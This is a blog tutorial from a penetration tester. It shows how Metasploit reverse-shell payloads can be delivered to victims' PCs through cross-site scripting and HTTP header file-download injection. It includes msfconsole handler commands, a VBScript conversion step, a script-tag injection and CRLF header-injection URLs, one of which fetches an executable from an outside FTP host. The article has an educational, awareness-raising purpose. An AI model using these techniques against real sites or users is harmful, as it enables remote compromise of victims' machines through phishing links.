Elusive Thoughts: MSF Payload Web Bouncing

Intro

This article refers basically to a very well known but also a very misunderstood Web Application vulnerability the Cross Site Scripting attack. What most of my clients do not understand is how an XSS attack can be used to compromise their Web Application Infrastructure. And it is logical since even the name of the attack is misleading, it should not be called Cross Site Scripting Attack, it should be called Script Injection attack. That is because when you manage to inject or else bounce a script to a web site then it will eventually end up to the users laptop and do damage. In this article it is implied that you already have a running Metasploit or know how to install and run Metasploit.

Exploiting XSS or else Script Injection attacks

Stealing the session cookie is not the only way to take advantage of an XSS attack, so with an XSS attack someone under certain conditions can:

Hijack the user session and cause user identity theft (which by the way is none traceable).
Inject a Trojan Web Form (e.g. using Cascading Style Sheets) and steal user credentials.
Redirect users to phishing sites and steal user personal data.
Execute a Web Site function (e.g. cause an attack similar to a CSRF attack).
Bounce to the server a malicious payload (e.g. an executable, vbs or .bat file) and compromise the users PC/Laptop.
Redirect the user browser to a BEEF (Browser Exploitation Framework) link and take over the user browser.
Do a File Download injection using HTTP Header Injection (I consider Header Injection to be in the same category with XSS injection)

In this article we will analyze how an attacker can use the msfpayload utility and a Script Injection vulnerability to bounce a malicious payload to users PC. The attack is relatively easy to implement since with the msfpayload utility we can generate lots of types of payloads including of course a remote shell and many other stuff.

A conceptual representation of this type if attack can be found here:

Note: In this conceptual representation of the attack a malicious user sent an e-mail with the infected URL to the victim user and the victim user clicks on the URL. This type of attack can also become more effective when Script Injection is stored into the vulnerable Web Application.

Generating the Metasploit payload and starting the Handler

As already mentioned there are many tutorials in the Internet on how to generate an msfpayload so for one more time we will generate an msfpayload by typing the command ./msfpayload windows/shell/reverse_shell O we get the options of the shell. The Metasploit tcp reverse shell listens for a connection and spawns a command shell back to the attacker. In order to successfully generate the shell we have to issue the following command:

So after we successfully generate the desired payload, which by the way I named it ClickMe.exe, and verify that it is a valid executable file by issuing the file command we move forward on how to launch the handler on the attackers machine, so in order to do that we type the following commands in the order given below:

cd /pentest/exploits/framework3
./msfconsole
msf > use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST sameIPfromBefore
msf exploit(handler)> set LPORT 123
msf exploit(handler)> exploit -j

Note: The attackers machine should be accessible some how from victims machine (e.g. by using a publicly static IP or DynDNS).

Making the Metasploit payload inject-able

In order now to bounce our payload to the target Web Application we would have to mutate our payload and convert it into an Inject-able script. Again we do that by using exe2vbs, it takes as input an executable and returns back a Visual Basic Script file, which by the way is executable from a browser. The following tool is located in /pentest/exploits/framework/tools

So we convert our executable to a VBScript in order to injected it to the target Web Application. The following command will do that:

The output of the command would be:

Further investigation can show you that after the conversion of the executable to a Visual Basic Script the payload looks something like this (when opened with vim):

Note: If you do a cat ClickMe.vbs | wc -l you will see that it is 760 lines and this as shown above translates to 73802 bytes.Further payload mutation can happen by performing VBScript Code Obfuscation using on-line tools such as Stunnix.

Further Obfuscation can also occur to the malicious URL pointing or holding our malicious payload. Internet Explorer and Netscape have both begun dealing with URLs differently, particularly in versions 6 and above. Making it easier to perform XSS like attacks to none suspicious users. For more information check out PC-HELP.

Loading the MSF Payload in Internet Explorer 8.0

You can use the SCRIPT element to add VBScript code to an HTML page, and that is what we will do in order to have successes. We are going to use the <SCRIPT LANGUAGE="VBScript"> and the <SCRIPT>. The following image shows an example taken from Microsoft MSDN site:

The payload injection script would look like that <SCRIPT LANGUAGE="VBScript">MSF Payload</SCRIPT>. If the web application does not filter the <SCRIPT> tag properly then an attack of this type can happen and the attacker will take a remote access of victims machine.

Now we will create a test Html page and open it with Internet Explorer 8.0:

Note: In order to for the VBscript payload to execute properly the user would have to click OK to some alert boxes warning the user for malicious content but eventually the payload will execute normally. From the address bar you can see that the payload was loaded from my hard disk. Also have a look at the icon suggesting that IE8.0 continuously executes the page content. Further investigation can be made to improve the attack. The same attack can be achieved through a phishing site that would graciously allow you to download content from it.

The following screen shot shows a netstat -an | findstr 1234 command issued and as you can see the payload was successfully launched and listening in port 1234 (see how above in the payload generation section we choose our shell to listen in port 1234):

We can verify that the shell is listening to the specified port by launching a telnet session and start interacting with the shell in 127.0.0.1 (we can have the same effect using 192.168.1.5 address assigned from the local dhcp server of course):

Note: As you can see the telnet session cannot handle very well the shell output, and that is why some characters are not readable (of course netcat can also be used).

ActiveX and VBScript support in Opera

Opera does not have in-built support for Microsoft's Windows-specific ActiveX technology or the VBScript scripting language.Opera does however support the use of Netscape compatible plugins, which can provide similar functionality to most ActiveX controls. Opera also supports JavaScript, which is the most common scripting language used on the Web, and is usually preferred instead of VBscript. All of these technologies are, unlike ActiveX and VBScript, available on multiple platforms.

Running ActiveX controls (VBScript) in Opera using the Neptune plug-in

MeadCo produces a plug-in called Neptune, which hosts Microsoft's Web Browser control.What this means is that the Internet Explorer engine can be run within Opera, and this in effect makes it possible to load and run ActiveX components.

Note: This only works on Windows, and the same security precautions should be taken as when running ActiveX components in Internet Explorer. Using Neptune in Opera is essentially the same as running Internet Explorer in an Opera window.

Running VBscript in Firefox

It is known that .vbs files aren't handled over the internet by default when using Firefox, unless it is really an .asp page and you have set your server to handle .vbs files as if they were .asp (not verified information though).

Executing VBScript through Firefox and Opera using File Download Injection

One way to bypass the limitations identified in Opera and Firefox is by exploiting another vulnerability named header injection file download. There is a very good paper that documents the vulnerability very well in this link. Header Injection has been known for a long time and occurs in all of the web application platforms, including Java, .NET, and PHP. Attackers can use file download injection to completely replace the file being downloaded (e.g. from a file repository in a Web Server), or even inject unwanted file downloads into ordinary requests. The files injected might be malware or fraudulent versions of official files.

What Is Header File Download Injection?

Some web applications allow the user to control some part of the content disposition header, typically either the entire file name or at least a part of it. These applications are susceptible to file download injection.

The picture below shows how vulnerable code to File Download Injection attack looks like that:

To perform the attack, the attacker builds an attack string. First, he chooses a file name for the injected file, including the extension for the type of file he wants the victim to execute, such as the bad.bat. Then, he adds two carriage return line feed (CRLF) sequences to signal the end of the HTTP headers and the beginning of the file data. Note that CRLF appears as %0d%0a when percent-encoded. It might also be encoded by the non-standard %u000d%u000a%u000d%u000a. Following the two CRLFs, the attacker appends the content of the malicious file, which should match the file type indicated by the chosen extension.

For example, if an application takes the "fn" parameter from the request and puts it into the Content-
Disposition header, the attacker might attempt to abuse that application with a URL that looks like this:

http://[trusted-domain]/download?fn=XXXX%0d%0a%0d%0aYYYYYYYYY

Where XXXX is the file name (and extension) that the attacker wants to name the malicious injected file, and YYYYYYYYY is the content of that file (the content of the file is passed in the URL). A vulnerable application will generate a response like the following:

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Content-Disposition: attachment;filename=XXXX
YYYYYYYYY
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr

When the web application generated the response, the injection modified its meaning. The new malicious response directs the browser to open the attacker's maliciously injected file. The original headers following Content-Disposition were pushed down to the end of the file data after the YYYYYYYYY by the CRLF characters injected. With some combinations of browsers and file types, a confirmation dialog box appears that asks the use to "run", "save", or "cancel". With other combinations, no such confirmation is required.

A Batch File Download Injection Example

Using the technique described above, the attacker can perform header injection into the “fn” parameter to take over the response. The attacker can specify the full file name and extension. Then by injecting two CRLF sequences, the attacker can send the body of the HTTP response which will be interpreted by the browser as the content of the file.

For example, if the victim clicks on the following link in an email or on a webpage:

http://[trusted_domain]/download?fn=bad.bat%0d%0a%0d%0awordpad

The following is the actual HTTP response generated by a vulnerable application on the Internet:

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Set-Cookie: JSESSIONID=E35E52B9472B17666B3A77C19CDCD90E; Path=/download
Content-Disposition: attachment;filename=bad.bat
Content-length: 88
wordpad
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr

Note: This response tells the browser to open the file “bad.bat” containing the command “wordpad” on the first line. In each browser there are different behaviors:

In IE7 on Vista SP1 this displays a popup that says “run”, “save”, or “cancel.” Selecting “run” immediately executes the batch file and starts Wordpad.
Firefox saves the file to disk automatically, and requires the user to click “open” to execute it. Injecting a batch file is quite dangerous, since the link starts with http://[trusted_domain]/ and will likely fool many users into thinking it is safe to click “run”.

Notice that the attack did not require the use of any special characters other than period, CR, and LF. Many validators are “blacklisted” and contain only a short list of invalid character sequences, such as .. and slashes.

http://[trusted_domain]/download?fn=attack.bat%0d%0a%0d%0aecho%20get%20
/pub/winzip/wzinet95.exe|ftp%20-A%20mirror.aarnet.edu.au%0d%0awzinet95.exe

Note: This example shows how a broken response without a content length header may be "fixed" by something downstream from the vulnerable application.

Mutating our payload to a .bat file with Python

What we are left to do now is convert our .vbs payload now into a .bat file and injected into the Header of a vulnerable Web Application. We will do that using again Python of course (the name of the echoed file is wrong it should be bad.vbs):

Note: The file produced from the code displayed above will actually generate a .bat file that when downloaded it to the victim PC will recreate the original VBScript file and execute the original payload. The batch file produced will actually have this format per line echo Payload Line > bad.vbs. At the end of the .bat file we add the command cscript bad.vbs (maybe add some delay to make sure that the vbs is properly echoed).

Epilogue

Bouncing malicious payloads through Script Injection attacks is a very well documented attack. The only way to defeat this type of attacks is user awareness and proper input validation filters. I once more proved how malicious and toxic the Internet can be, hope it helped.

References:

Pages

11/04/2012

MSF Payload Web Bouncing